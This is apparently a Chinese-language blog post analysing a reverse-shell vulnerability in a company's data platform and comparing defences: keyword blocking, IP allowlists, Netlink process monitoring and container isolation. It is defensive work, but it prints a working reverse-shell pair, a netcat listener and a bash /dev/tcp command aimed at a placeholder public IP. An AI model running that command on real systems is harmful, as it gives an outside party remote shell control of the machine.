shell反弹渗透技术分析和解决方案
一. 背景
目前公司的产品的《命令行复测结果简报》中检测出反弹shell漏洞, 需要对该问题做出相关相关应对方案。
二. 反弹shell介绍
反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制
端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的⻆色反转。
例子:
- 攻击者在其机器上监听端口
1
2// 通过netcat工具监听 6767端口号(tcp/udp)并且输出交互信息
nc -lvp 6767 - 在被攻击端执行下面命令 反弹shell 时序图如下:
1
2//产生一个交互的shell 并且建立socket连接读取这个文件
bash -i >& /dev/tcp/公网ip/ 6767 0 >& 1
三. 漏洞分析
该漏洞的核心思想是在被攻击节点建立socket通道连接外网打通攻击者服务器,从而实现渗透。用户可以通过Datasimba 执行
shell 、python、jar 实现shell反弹,分析该问题目前能想到的解决思路如下:
- 限定被攻击节点对外访问请求;
- 监听 socket 通道的进程 发现即kill或报警
- 通过用户空间隔离技术(chroot)
- 通过容器虚拟化技术实现环境资源隔离
按照以上思路提供的解决方案
四. 反弹shell防御方案
方案一: 产品功能对任务代码的关键字作限制
- 解释:代码中如果包含类似shell反弹的任务不能进行保存和运行
- 优点:从源头上避免反弹shell代码进入到产品服务内部
- 缺点:用户可以通过在代码中添加包含反弹shell的文件,或者通过下载外部文件的
方式绕过校验限制
方案二: 对被攻击节点 增加 ip白名单限制外网访问
- 解释:
i. 目前Dataworkes(阿里云) 对于ip白名单 shell反弹的解决思路
ii. 目前有的客户就是使用禁止外网访问的方式避免掉的 - 优点:配置简单,从源头上解决问题,可以有效控制被攻击节点的ip
- 缺点:灵活性差,比如simba接入新的数据源,则数据源的ip需要添加到白名单中
方案三: 自动防御shell反弹
- 解释:通过linux IPC机制Netlink,用于在内核与用户进程之间传递消息,捕获进程事件信息,通过监控到的进程信息进行处理
- 优点:自动监控系统进程,发现非法进程直接kill,一般情况下绕过较难
- 缺点:i. 运维成本增加
ii. 通过上传可执行文件通过其他思路实现反弹,比如通过java或者python写一个SocketServer 程序执行.
方案四: 通过容器虚拟化技术建立隔离操作系统
- 解释:
i.首先在产品的工作节点上通过docker技术创建出虚拟化的容器作为隔离层
ii.在功能中对于python、shell、jar任务类型在simba的工作节点上真正执行时我们会在隔离层
执行相关逻辑(只依赖其操作系统环境)。如果出现黑客攻击者通过shell反弹技术入侵其实操作的是虚拟出来的操作系统,不会对容器外
部的机器造成任何威胁。 - 优点: 通过容器虚拟化技术虚拟出新的操作系统实现完全的隔离。
- 缺点:对simba现有worker的工作节点进行架构优化改造,短时间内无法完成。
五. 目前的思路
- 思路一:通过方案二来从源头上解决问题(可能会增加额外的配置成本)
- 思路二: 可以通过方案一、方案三组合使用,通过方案一和方案三的优缺点进行互补,方案一从产品层面限制反弹
shell进入到产品平台,方案三可防止通过引用上传文件绕过的限制。可以避免大多数场景。理论上进入到产品平台的用户
大多数都是内部和已知用户都可以追溯和溯源(排除账号被盗问题) - 思路三: 为了彻底解决非法用户通过编写其他技术方式实现所谓的’反弹’,后续会排期对产品的工作节点增加方案四-容器
虚拟化的方式来避免’反弹’问题。
All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Comment